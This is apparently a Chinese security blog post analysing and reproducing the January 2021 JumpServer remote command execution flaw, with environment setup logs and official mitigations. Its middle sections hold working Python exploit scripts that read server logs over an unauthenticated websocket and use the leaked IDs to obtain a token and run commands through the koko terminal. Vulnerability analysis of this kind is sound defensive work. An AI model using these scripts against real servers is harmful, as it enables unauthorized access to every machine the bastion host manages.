jumpserver 远程执行漏洞分析和复现
文章最后更新时间为:2021年01月18日 22:07:23
0 简介
JumpServer是一款开源的堡垒机,是符合4A规范的运维安全审计系统,通俗来说就是跳板机。
2021年1月15日,JumpServer发布安全更新,修复了一处远程命令执行漏洞。由于JumpServer某些接口未做授权限制,攻击者可构造恶意请求获取敏感信息,或者执行相关操作控制其中所有机器,执行任意命令。
影响版本:
- JumpServer < v2.6.2
- JumpServer < v2.5.4
- JumpServer < v2.4.5
- JumpServer = v1.5.9
1. 漏洞分析
看修复代码的commit记录:https://github.com/jumpserver/jumpserver/commit/f04e2fa0905a7cd439d7f6118bc810894eed3f3e
发现是给CeleryLogWebsocket类的connect加上了身份认证。
import time
import os
import threading
import json
from common.utils import get_logger
from .celery.utils import get_celery_task_log_path
from .ansible.utils import get_ansible_task_log_path
from channels.generic.websocket import JsonWebsocketConsumer
logger = get_logger(__name__)
class TaskLogWebsocket(JsonWebsocketConsumer):
disconnected = False
log_types = {
'celery': get_celery_task_log_path,
'ansible': get_ansible_task_log_path
}
def connect(self):
user = self.scope["user"]
if user.is_authenticated and user.is_org_admin:
self.accept()
else:
self.close()
def get_log_path(self, task_id):
func = self.log_types.get(self.log_type)
if func:
return func(task_id)
def receive(self, text_data=None, bytes_data=None, **kwargs):
data = json.loads(text_data)
task_id = data.get('task')
self.log_type = data.get('type', 'celery')
if task_id:
self.handle_task(task_id)
def wait_util_log_path_exist(self, task_id):
log_path = self.get_log_path(task_id)
while not self.disconnected:
if not os.path.exists(log_path):
self.send_json({'message': '.', 'task': task_id})
time.sleep(0.5)
continue
self.send_json({'message': '\r\n'})
try:
logger.debug('Task log path: {}'.format(log_path))
task_log_f = open(log_path, 'rb')
return task_log_f
except OSError:
return None
def read_log_file(self, task_id):
task_log_f = self.wait_util_log_path_exist(task_id)
if not task_log_f:
logger.debug('Task log file is None: {}'.format(task_id))
return
task_end_mark = []
while not self.disconnected:
data = task_log_f.read(4096)
if data:
data = data.replace(b'\n', b'\r\n')
self.send_json(
{'message': data.decode(errors='ignore'), 'task': task_id}
)
if data.find(b'succeeded in') != -1:
task_end_mark.append(1)
if data.find(bytes(task_id, 'utf8')) != -1:
task_end_mark.append(1)
elif len(task_end_mark) == 2:
logger.debug('Task log end: {}'.format(task_id))
break
time.sleep(0.2)
task_log_f.close()
def handle_task(self, task_id):
logger.info("Task id: {}".format(task_id))
thread = threading.Thread(target=self.read_log_file, args=(task_id,))
thread.start()
def disconnect(self, close_code):
self.disconnected = True
self.close()
查看这个类的http接口:
通过这个类可以知道,这个接口的访问链为:
访问ws/ops/tasks/log/
--> 进入TaskLogWebsocket类的receive函数
--> 进入TaskLogWebsocket类的handle_task函数
--> 进入TaskLogWebsocket类的read_log_file函数
--> 进入TaskLogWebsocket类的wait_util_log_path_exist函数
--> 进入TaskLogWebsocket类的read_log_file函数
--> 进入app/ops/utls.py中的get_task_log_path函数
taskid是从我们发送的text_data中解析出来的,所以是可控的,通过下面的方式我们可以读取日志文件/opt/jumpserver/logs/jumpserver.log。
向ws://10.10.10.10:8080/ws/ops/tasks/log/发送
{"task":"/opt/jumpserver/logs/jumpserver"}
以上就是文件读取的原理,读取日志文件有如下限制:
- 只能使用绝对路径读取文件
- 只能读取以 log 结尾的文件
下面分析如何实现远程代码执行。
通过读取/opt/jumpserver/logs/gunicorn.log,运气好的话,可以读取到用户uid,系统用户uid,和资产id:
- user id
- asset id
- system user id
上述三个信息是需要存在用户正在登录web terminal才能从日志中拿到的,拿到之后。通过/api/v1/authentication/connection-token/
接口,可以进去/apps/authentication/api/UserConnectionTokenApi
通过user_id asset_id system_user_id可以获取到只有20s有效期的token。这个token可以用来创建一个koko组件的tty:
https://github.com/jumpserver/koko/blob/master/pkg/httpd/webserver.go#342
--> https://github.com/jumpserver/koko/blob/4258b6a08d1d3563437ea2257ece05b22b093e15/pkg/httpd/webserver.go#L167
具体代码如下:
总结完整的rce利用步骤为:
- 未授权的情况下能够建立websocket连接
- task可控,可以通过websocket对日志文件进行读取
- 拿到日志文件中的系统用户,用户,资产字段
- 通过3中的字段,可以拿到20s的token
- 通过该token能够进入koko的tty,执行命令
2 漏洞复现
2.1 环境搭建
- 本地环境:xubuntu20.04
- jumpserver版本:2.6.1版本
安装步骤:
# 下载
git clone https://github.com/jumpserver/installer.git
cd installer
# 国内docker源加速
export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn
# 安装dev版本,再切换到2.6.1(应该可以直接安装2.6.1,一开始错装成了默认的dev版本,不过没关系)
sudo su
./jmsctl.sh install
./jmsctl.sh upgrade v2.6.1
# 启动
./jmsctl.sh restart
完整日志
# yanq @ yanq-desk in ~/gitrepo [22:18:53] C:127
$ git clone https://github.com/jumpserver/installer.git
正克隆到 'installer'...
remote: Enumerating objects: 467, done.
remote: Total 467 (delta 0), reused 0 (delta 0), pack-reused 467
接收对象中: 100% (467/467), 95.24 KiB | 182.00 KiB/s, 完成.
处理 delta 中: 100% (305/305), 完成.
# yanq @ yanq-desk in ~/gitrepo [22:20:27]
$ cd installer
# yanq @ yanq-desk in ~/gitrepo/installer on git:master o [22:20:30]
$ ls
compose config-example.txt config_init jmsctl.sh README.md scripts static.env utils
# yanq @ yanq-desk in ~/gitrepo [22:18:59]
$ export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn
# yanq @ yanq in ~/github/installer on git:master o [22:03:43] C:130
$ sudo su
root@yanq:/home/yanq/github/installer# ./jmsctl.sh install
██╗██╗ ██╗███╗ ███╗██████╗ ███████╗███████╗██████╗ ██╗ ██╗███████╗██████╗
██║██║ ██║████╗ ████║██╔══██╗██╔════╝██╔════╝██╔══██╗██║ ██║██╔════╝██╔══██╗
██║██║ ██║██╔████╔██║██████╔╝███████╗█████╗ ██████╔╝██║ ██║█████╗ ██████╔╝
██ ██║██║ ██║██║╚██╔╝██║██╔═══╝ ╚════██║██╔══╝ ██╔══██╗╚██╗ ██╔╝██╔══╝ ██╔══██╗
╚█████╔╝╚██████╔╝██║ ╚═╝ ██║██║ ███████║███████╗██║ ██║ ╚████╔╝ ███████╗██║ ██║
╚════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
Version: dev
>>> 一、配置JumpServer
1. 检查配置文件
各组件使用环境变量式配置文件,而不是 yaml 格式, 配置名称与之前保持一致
配置文件位置: /opt/jumpserver/config/config.txt
完成
2. 配置 Nginx 证书
证书位置在: /opt/jumpserver/config/nginx/cert
完成
3. 备份配置文件
备份至 /opt/jumpserver/config/backup/config.txt.2021-01-17_22-03-52
完成
4. 配置网络
需要支持 IPv6 吗? (y/n) (默认为n): n
完成
5. 自动生成加密密钥
完成
6. 配置持久化目录
修改日志录像等持久化的目录,可以找个最大的磁盘,并创建目录,如 /opt/jumpserver
注意: 安装完后不能再更改, 否则数据库可能丢失
文件系统 容量 已用 可用 已用% 挂载点
udev 7.3G 0 7.3G 0% /dev
/dev/nvme0n1p2 468G 200G 245G 45% /
/dev/loop1 56M 56M 0 100% /snap/core18/1944
/dev/loop2 65M 65M 0 100% /snap/gtk-common-themes/1513
/dev/loop3 218M 218M 0 100% /snap/gnome-3-34-1804/60
/dev/loop0 56M 56M 0 100% /snap/core18/1932
/dev/loop5 32M 32M 0 100% /snap/snapd/10492
/dev/loop6 65M 65M 0 100% /snap/gtk-common-themes/1514
/dev/loop4 52M 52M 0 100% /snap/snap-store/498
/dev/loop7 52M 52M 0 100% /snap/snap-store/518
/dev/loop8 219M 219M 0 100% /snap/gnome-3-34-1804/66
/dev/loop9 32M 32M 0 100% /snap/snapd/10707
/dev/nvme0n1p1 511M 7.8M 504M 2% /boot/efi
设置持久化卷存储目录 (默认为/opt/jumpserver):
完成
7. 配置MySQL
是否使用外部mysql (y/n) (默认为n): n
完成
8. 配置Redis
是否使用外部redis (y/n) (默认为n): n
完成
>>> 二、安装配置Docker
1. 安装Docker
开始下载 Docker 程序 ...
--2021-01-17 22:04:12-- https://mirrors.aliyun.com/docker-ce/linux/static/stable/x86_64/docker-18.06.2-ce.tgz
正在解析主机 mirrors.aliyun.com (mirrors.aliyun.com)... 180.97.148.110, 101.89.125.248, 58.216.16.38, ...
正在连接 mirrors.aliyun.com (mirrors.aliyun.com)|180.97.148.110|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度: 43834194 (42M) [application/x-tar]
正在保存至: “/tmp/docker.tar.gz”
/tmp/docker.tar.gz 100%[===========================================================================================================================================>] 41.80M 13.8MB/s 用时 3.0s
2021-01-17 22:04:16 (13.8 MB/s) - 已保存 “/tmp/docker.tar.gz” [43834194/43834194])
开始下载 Docker compose 程序 ...
--2021-01-17 22:04:17-- https://get.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64
正在解析主机 get.daocloud.io (get.daocloud.io)... 106.75.86.15
正在连接 get.daocloud.io (get.daocloud.io)|106.75.86.15|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 302 FOUND
位置:https://dn-dao-github-mirror.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64 [跟随至新的 URL]
--2021-01-17 22:04:28-- https://dn-dao-github-mirror.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64
正在解析主机 dn-dao-github-mirror.daocloud.io (dn-dao-github-mirror.daocloud.io)... 240e:ff:a024:200:3::3fe, 240e:964:1003:302:3::3fe, 61.160.204.242, ...
正在连接 dn-dao-github-mirror.daocloud.io (dn-dao-github-mirror.daocloud.io)|240e:ff:a024:200:3::3fe|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度: 12218968 (12M) [application/x-executable]
正在保存至: “/tmp/docker-compose”
/tmp/docker-compose 100%[===========================================================================================================================================>] 11.65M 8.43MB/s 用时 1.4s
2021-01-17 22:04:35 (8.43 MB/s) - 已保存 “/tmp/docker-compose” [12218968/12218968])
已安装 Docker版本 与 本安装包测试的版本(18.06.2-ce) 不一致, 是否更新? (y/n) (默认为n): n
完成
2. 配置Docker
修改Docker镜像容器的默认存储目录,可以找个最大的磁盘, 并创建目录,如 /opt/docker
文件系统 容量 已用 可用 已用% 挂载点
udev 7.3G 0 7.3G 0% /dev
/dev/nvme0n1p2 468G 200G 245G 45% /
/dev/loop1 56M 56M 0 100% /snap/core18/1944
/dev/loop2 65M 65M 0 100% /snap/gtk-common-themes/1513
/dev/loop3 218M 218M 0 100% /snap/gnome-3-34-1804/60
/dev/loop0 56M 56M 0 100% /snap/core18/1932
/dev/loop5 32M 32M 0 100% /snap/snapd/10492
/dev/loop6 65M 65M 0 100% /snap/gtk-common-themes/1514
/dev/loop4 52M 52M 0 100% /snap/snap-store/498
/dev/loop7 52M 52M 0 100% /snap/snap-store/518
/dev/loop8 219M 219M 0 100% /snap/gnome-3-34-1804/66
/dev/loop9 32M 32M 0 100% /snap/snapd/10707
/dev/nvme0n1p1 511M 7.8M 504M 2% /boot/efi
Docker存储目录 (默认为/opt/docker):
完成
3. 启动Docker
Docker 版本发生改变 或 docker配置文件发生变化,是否要重启 (y/n) (默认为y): y
完成
>>> 三、加载镜像
[jumpserver/redis:6-alpine]
6-alpine: Pulling from jumpserver/redis
05e7bc50f07f: Pull complete
14c9d57a1c7f: Pull complete
ccd033d7ec06: Pull complete
6ff79b059f99: Pull complete
d91237314b77: Pull complete
c47d41ba6aa8: Pull complete
Digest: sha256:4920debee18fad71841ce101a7867743ff8fe7d47e6191b750c3edcfffc1cb18
Status: Downloaded newer image for jumpserver/redis:6-alpine
docker.io/jumpserver/redis:6-alpine
[jumpserver/mysql:5]
5: Pulling from jumpserver/mysql
6ec7b7d162b2: Pull complete
fedd960d3481: Pull complete
7ab947313861: Pull complete
64f92f19e638: Pull complete
3e80b17bff96: Pull complete
014e976799f9: Pull complete
59ae84fee1b3: Pull complete
7d1da2a18e2e: Pull complete
301a28b700b9: Pull complete
979b389fc71f: Pull complete
403f729b1bad: Pull complete
Digest: sha256:b3b2703de646600b008cbb2de36b70b21e51e7e93a7fca450d2b08151658b2dd
Status: Downloaded newer image for jumpserver/mysql:5
docker.io/jumpserver/mysql:5
[jumpserver/nginx:alpine2]
alpine2: Pulling from jumpserver/nginx
c87736221ed0: Pull complete
6ff0ab02fe54: Pull complete
e5b318df7728: Pull complete
b7a5a4fe8726: Pull complete
Digest: sha256:d25ed0a8c1b4957f918555c0dbda9d71695d7b336d24f7017a87b2081baf1112
Status: Downloaded newer image for jumpserver/nginx:alpine2
docker.io/jumpserver/nginx:alpine2
[jumpserver/luna:dev]
dev: Pulling from jumpserver/luna
801bfaa63ef2: Pull complete
b1242e25d284: Pull complete
7453d3e6b909: Pull complete
07ce7418c4f8: Pull complete
e295e0624aa3: Pull complete
d373a40639dd: Pull complete
565ad7a883c2: Pull complete
Digest: sha256:68be3762e065f9eae1bfef462dcd1394ca7a256d22e807d129cc9888c4159874
Status: Downloaded newer image for jumpserver/luna:dev
docker.io/jumpserver/luna:dev
[jumpserver/core:dev]
dev: Pulling from jumpserver/core
6ec7b7d162b2: Already exists
80ff6536d04b: Pull complete
2d04da85e485: Pull complete
998aa32a5c8a: Pull complete
7733ef26f344: Pull complete
a3fc2d00adff: Pull complete
0fceca9bd0c9: Pull complete
6fd88063e2c9: Pull complete
6b761cc0db94: Pull complete
25d46cb4551e: Pull complete
6da27e4adc2b: Pull complete
e521a634bfca: Pull complete
90d95c158108: Pull complete
Digest: sha256:4733073dfbbf6ec5cf6738738e3305ecaf585bff343a3e4c9990398fd7efbb5c
Status: Downloaded newer image for jumpserver/core:dev
docker.io/jumpserver/core:dev
[jumpserver/koko:dev]
dev: Pulling from jumpserver/koko
6d28e14ab8c8: Pulling fs layer
1473f8a0a4e1: Pulling fs layer
683341f9f103: Pull complete
631f019c17de: Pull complete
f3a995ef2b4b: Pull complete
c091dc645c6f: Pull complete
4e858775bdf0: Pull complete
fa772130cab7: Pull complete
a0f79afbde1c: Pull complete
fdaf81979833: Pull complete
8d4986e114f0: Pull complete
eeb197dd15a0: Pull complete
271cd9c942c6: Pull complete
fc8bb9405f48: Pull complete
06a07acf5be2: Pull complete
Digest: sha256:7e8327a84b8d593c7b8c48dec8fa6ee8bc31e43d6e2344ae0e82897beefc76f1
Status: Downloaded newer image for jumpserver/koko:dev
docker.io/jumpserver/koko:dev
[jumpserver/guacamole:dev]
dev: Pulling from jumpserver/guacamole
6c33745f49b4: Pulling fs layer
ef072fc32a84: Pulling fs layer
c0afb8e68e0b: Pulling fs layer
d599c07d28e6: Pulling fs layer
e8a829023b97: Waiting
2709df21cc5c: Waiting
3bfb431a8cf5: Waiting
bb9822eef866: Waiting
5842bda2007b: Pulling fs layer
453a23f25fcb: Waiting
c856ffeae983: Waiting
c51581693e31: Pull complete
0809345a90d0: Pull complete
0ba7229a2102: Pull complete
bf692785c490: Pull complete
9d6086f6248b: Pull complete
86c187652ab5: Pull complete
07f50f434b4b: Pull complete
9173a0544d33: Pull complete
78884a472184: Pull complete
940cbfe07a44: Pull complete
f322e824f1f5: Pull complete
02228eb4be13: Pull complete
dfe141bc6b7b: Pull complete
Digest: sha256:fc0cd386edca711b45d84f6c192269d176ee165196ced8654ae18ac21eba0dc3
Status: Downloaded newer image for jumpserver/guacamole:dev
docker.io/jumpserver/guacamole:dev
[jumpserver/lina:dev]
dev: Pulling from jumpserver/lina
801bfaa63ef2: Already exists
b1242e25d284: Already exists
7453d3e6b909: Already exists
07ce7418c4f8: Already exists
e295e0624aa3: Already exists
b1e2e4ef9246: Pull complete
cf63647ff370: Pull complete
Digest: sha256:5572209db626212f06e4744ae297b5520f59671841c8e3713ce65bbec3ee5038
Status: Downloaded newer image for jumpserver/lina:dev
docker.io/jumpserver/lina:dev
>>> 四、安装完成了
1. 可以使用如下命令启动, 然后访问
./jmsctl.sh start
2. 其它一些管理命令
./jmsctl.sh stop
./jmsctl.sh restart
./jmsctl.sh backup
./jmsctl.sh upgrade
更多还有一些命令,你可以 ./jmsctl.sh --help来了解
3. 访问 Web 后台页面
http://192.168.1.7:8080
https://192.168.1.7:8443
4. ssh/sftp 访问
ssh [email protected] -p2222
sftp -P2222 [email protected]
5. 更多信息
我们的文档: https://docs.jumpserver.org/
我们的官网: https://www.jumpserver.org/
root@yanq:/home/yanq/github/installer# ./jmsctl.sh upgrade v2.6.1
你确定要升级到 v2.6.1 版本吗? (y/n) (默认为n): y
1. 检查配置变更
完成
2. 检查程序文件变更
已安装 Docker版本 与 本安装包测试的版本(18.06.2-ce) 不一致, 是否更新? (y/n) (默认为n):
完成
3. 升级镜像文件
[jumpserver/redis:6-alpine]
6-alpine: Pulling from jumpserver/redis
Digest: sha256:4920debee18fad71841ce101a7867743ff8fe7d47e6191b750c3edcfffc1cb18
Status: Image is up to date for jumpserver/redis:6-alpine
docker.io/jumpserver/redis:6-alpine
[jumpserver/mysql:5]
5: Pulling from jumpserver/mysql
Digest: sha256:b3b2703de646600b008cbb2de36b70b21e51e7e93a7fca450d2b08151658b2dd
Status: Image is up to date for jumpserver/mysql:5
docker.io/jumpserver/mysql:5
[jumpserver/nginx:alpine2]
alpine2: Pulling from jumpserver/nginx
Digest: sha256:d25ed0a8c1b4957f918555c0dbda9d71695d7b336d24f7017a87b2081baf1112
Status: Image is up to date for jumpserver/nginx:alpine2
docker.io/jumpserver/nginx:alpine2
[jumpserver/luna:v2.6.1]
v2.6.1: Pulling from jumpserver/luna
801bfaa63ef2: Already exists
b1242e25d284: Already exists
7453d3e6b909: Already exists
07ce7418c4f8: Already exists
e295e0624aa3: Already exists
9aa19406fcc2: Pull complete
b88c1894aa70: Pull complete
Digest: sha256:6889bc5825c8b608d3d086fa6713da5098665d9caaa6de0d2de2e30f27246fa4
Status: Downloaded newer image for jumpserver/luna:v2.6.1
docker.io/jumpserver/luna:v2.6.1
[jumpserver/core:v2.6.1]
v2.6.1: Pulling from jumpserver/core
852e50cd189d: Pull complete
334ed303e4ad: Pull complete
a687a65725ea: Pull complete
fe607cb30fbe: Pull complete
af3dd7a5d357: Pull complete
5ed087772967: Pull complete
de88310b192c: Pull complete
3f3c40cb5584: Pull complete
a616053790d8: Pull complete
f78e4ffd4b11: Pull complete
681df5236765: Pull complete
6feeeb96a348: Pull complete
8b170624587e: Pull complete
Digest: sha256:1332e03847e45f1995845e1b74f1f3deb1f108da72ac5b8af087bc3775690e7b
Status: Downloaded newer image for jumpserver/core:v2.6.1
docker.io/jumpserver/core:v2.6.1
[jumpserver/koko:v2.6.1]
v2.6.1: Pulling from jumpserver/koko
6d28e14ab8c8: Already exists
c4b1524d2f75: Pulling fs layer
8522e19e2998: Pull complete
106d5adca780: Pull complete
e649208988b3: Pull complete
fd02488ce54c: Pull complete
8566396c9588: Pull complete
5c3ae6b36882: Pull complete
cb4e3aeda111: Pull complete
3bc46e9d6be9: Pull complete
919620ef3747: Pull complete
3998a9375e49: Pull complete
5869987766aa: Pull complete
9fd39a172e25: Pull complete
f60bfb937cc4: Pull complete
Digest: sha256:242e96c7a992bf44ccbda321fb69c8ea4d39d5ff423cf8f1505e9856b1ac2496
Status: Downloaded newer image for jumpserver/koko:v2.6.1
docker.io/jumpserver/koko:v2.6.1
[jumpserver/guacamole:v2.6.1]
v2.6.1: Pulling from jumpserver/guacamole
c5e155d5a1d1: Pulling fs layer
221d80d00ae9: Pulling fs layer
4250b3117dca: Pulling fs layer
d1370422ab93: Pulling fs layer
deb6b03222ca: Pulling fs layer
9cdea8d70cc3: Pulling fs layer
968505be14db: Pulling fs layer
04b5c270ac81: Pulling fs layer
301d76fcab1f: Pulling fs layer
f4d49608235a: Pulling fs layer
f4c6404fd6f8: Pulling fs layer
73ac8e900d64: Pulling fs layer
eec0a1010dfa: Pull complete
199219e1bcf7: Pull complete
54d3328751a0: Pull complete
68412973433c: Pull complete
b45d84968434: Pull complete
9569df8016cc: Pull complete
642448bde40a: Pull complete
e788dd92de90: Pull complete
223eaf2bd9f6: Pull complete
b68966fc02ad: Pull complete
cf0eb6b2e415: Pull complete
0b78188a975b: Pull complete
704b69b91dcb: Pull complete
Digest: sha256:cb80c430c14ad220edd6f20855da5f7ea256d75f5f87bebe29d7e27275c4beeb
Status: Downloaded newer image for jumpserver/guacamole:v2.6.1
docker.io/jumpserver/guacamole:v2.6.1
[jumpserver/lina:v2.6.1]
v2.6.1: Pulling from jumpserver/lina
801bfaa63ef2: Already exists
b1242e25d284: Already exists
7453d3e6b909: Already exists
07ce7418c4f8: Already exists
e295e0624aa3: Already exists
2ec572beb6c1: Pull complete
c7d22dce32ca: Pull complete
Digest: sha256:8d63a0716558b4384f0eab2220bcfefe5ba2e040cbd33634576ba444c215212a
Status: Downloaded newer image for jumpserver/lina:v2.6.1
docker.io/jumpserver/lina:v2.6.1
完成
4. 备份数据库
正在备份...
mysqldump: [Warning] Using a password on the command line interface can be insecure.
备份成功! 备份文件已存放至: /opt/jumpserver/db_backup/jumpserver-2021-01-17_22:28:00.sql.gz
5. 进行数据库变更
表结构变更可能需要一段时间,请耐心等待 (请确保数据库在运行)
2021-01-17 22:28:03 Collect static files
2021-01-17 22:28:03 Collect static files done
2021-01-17 22:28:03 Check database structure change ...
2021-01-17 22:28:03 Migrate model change to database ...
472 static files copied to '/opt/jumpserver/data/static'.
Operations to perform:
Apply all migrations: admin, applications, assets, audits, auth, authentication, captcha, common, contenttypes, django_cas_ng, django_celery_beat, jms_oidc_rp, ops, orgs, perms, sessions, settings, terminal, tickets, users
Running migrations:
No migrations to apply.
完成
6. 升级成功, 可以重启程序了
./jmsctl.sh restart
root@yanq:/home/yanq/github/installer# ./jmsctl.sh restart
Stopping jms_core ... done
Stopping jms_koko ... done
Stopping jms_guacamole ... done
Stopping jms_lina ... done
Stopping jms_luna ... done
Stopping jms_nginx ... done
Stopping jms_celery ... done
Removing jms_core ... done
Removing jms_koko ... done
Removing jms_guacamole ... done
Removing jms_lina ... done
Removing jms_luna ... done
Removing jms_nginx ... done
Removing jms_celery ... done
WARNING: The HOSTNAME variable is not set. Defaulting to a blank string.
jms_mysql is up-to-date
jms_redis is up-to-date
Creating jms_core ... done
Creating jms_lina ... done
Creating jms_guacamole ... done
Creating jms_koko ... done
Creating jms_celery ... done
Creating jms_luna ... done
Creating jms_nginx ... done
2.2 读取日志
可以直接访问日志的websocket接口,在线测试websocket工具:http://coolaf.com/tool/chattest 或者使用扩展:https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn
下面用代码测试:
import asyncio
import re
import websockets
import json
url = "/ws/ops/tasks/log/"
async def main_logic(t):
print("#######start ws")
async with websockets.connect(t) as client:
await client.send(json.dumps({"task": "//opt/jumpserver/logs/jumpserver"}))
while True:
ret = json.loads(await client.recv())
print(ret["message"], end="")
if __name__ == "__main__":
host = "http://192.168.1.7:8080"
target = host.replace("https://", "wss://").replace("http://", "ws://") + url
print("target: %s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic(target))
这里读到的就是jumpserver上/opt/jumpserver/core/logs/jumpserver目录下的日志。
搭建的漏洞环境中有如下日志可以读:
root@yanq:/opt/jumpserver/core/logs# ls -la
总用量 248
drwxr-xr-x 3 root root 4096 1月 17 23:59 .
drwxr-xr-x 4 root root 4096 1月 17 22:17 ..
drwxr-xr-x 2 root root 4096 1月 17 23:59 2021-01-17
-rw-r--r-- 1 root root 0 1月 17 22:17 ansible.log
-rw-r--r-- 1 root root 2978 1月 18 01:51 beat.log
-rw-r--r-- 1 root root 3122 1月 18 01:51 celery_ansible.log
-rw-r--r-- 1 root root 978 1月 18 01:51 celery_check_asset_perm_expired.log
-rw-r--r-- 1 root root 4332 1月 18 01:51 celery_default.log
-rw-r--r-- 1 root root 0 1月 17 23:59 celery_heavy_tasks.log
-rw-r--r-- 1 root root 4604 1月 18 01:51 celery_node_tree.log
-rw-r--r-- 1 root root 1919 1月 18 01:50 daphne.log
-rw-r--r-- 1 root root 1359 1月 17 22:18 drf_exception.log
-rw-r--r-- 1 root root 0 1月 17 23:59 flower.log
-rw-r--r-- 1 root root 191941 1月 18 01:52 gunicorn.log
-rw-r--r-- 1 root root 7470 1月 18 01:51 jumpserver.log
-rw-r--r-- 1 root root 0 1月 17 22:17 unexpected_exception.log
比如读取gunicorn.log:
除了读日志文件,还可以从/opt/jumpserver/logs/jumpserver
读取到taskid,然后查看task的详细信息(当然taskid很可能已经失效了)
向ws://192.168.1.73:8080/ws/ops/tasks/log/发送
{"task":"33xxxxx"}
2.3 远程命令执行
需要在jumpserver中添加一台主机,并且用户登录web terminal。
登录过web terminal之后,在gunicorn.log可以拿到这三个信息。(从结果中搜索/asset-permissions/user/validate)
如果读到了这三个字段,可以利用/api/v1/users/connection-token/
拿到一个token,将token发给koko组件可以拿到一个ssh凭证,就可以登陆用户机器了。
通过以下脚本进行远程命令执行利用
import asyncio
import websockets
import requests
import json
url = "/api/v1/authentication/connection-token/?user-only=None"
# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)
recv_text = await websocket.recv()
print(f"{recv_text}")
# 客户端主逻辑
async def main_logic(cmd):
print("#######start ws")
async with websockets.connect(target) as websocket:
recv_text = await websocket.recv()
print(f"{recv_text}")
resws=json.loads(recv_text)
id = resws['id']
print("get ws id:"+id)
print("###############")
print("init ws")
print("###############")
inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
await send_msg(websocket,inittext)
for i in range(20):
recv_text = await websocket.recv()
print(f"{recv_text}")
print("###############")
print("exec cmd: ls")
cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
print(cmdtext)
await send_msg(websocket, cmdtext)
for i in range(20):
recv_text = await websocket.recv()
print(f"{recv_text}")
print('#######finish')
if __name__ == '__main__':
host = "http://192.168.1.7:8080"
cmd="whoami"
if host[-1]=='/':
host=host[:-1]
print(host)
data = {"user": "83b24e76-028b-4f49-9329-63e5e3ef10a4", "asset": "96b49ae4-1efd-483a-99bc-4b9708fc7471",
"system_user": "a0899187-0c5f-4d57-8ab4-9a8628b74864"}
print("##################")
print("get token url:%s" % (host + url,))
print("##################")
res = requests.post(host + url, json=data)
token = res.json()["token"]
print("token:%s", (token,))
print("##################")
target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
print("target ws:%s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic(cmd))
3 修复方案
以下根据官方文档:
- 将JumpServer升级至安全版本;
- 临时修复方案:
修改 Nginx 配置文件屏蔽漏洞接口
/api/v1/authentication/connection-token/
/api/v1/users/connection-token/
Nginx 配置文件位置
# 社区老版本
/etc/nginx/conf.d/jumpserver.conf
# 企业老版本
jumpserver-release/nginx/http_server.conf
# 新版本在
jumpserver-release/compose/config_static/http_server.conf
修改 Nginx 配置文件实例
# 保证在 /api 之前 和 / 之前
location /api/v1/authentication/connection-token/ {
return 403;
}
location /api/v1/users/connection-token/ {
return 403;
}
# 新增以上这些
location /api/ {
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://core:8080;
}
...
修改完成后重启 nginx
docker方式:
docker restart jms_nginx
nginx方式:
systemctl restart nginx
修复验证
$ wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh
# 使用方法 bash jms_bug_check.sh HOST
$ bash jms_bug_check.sh demo.jumpserver.org
漏洞已修复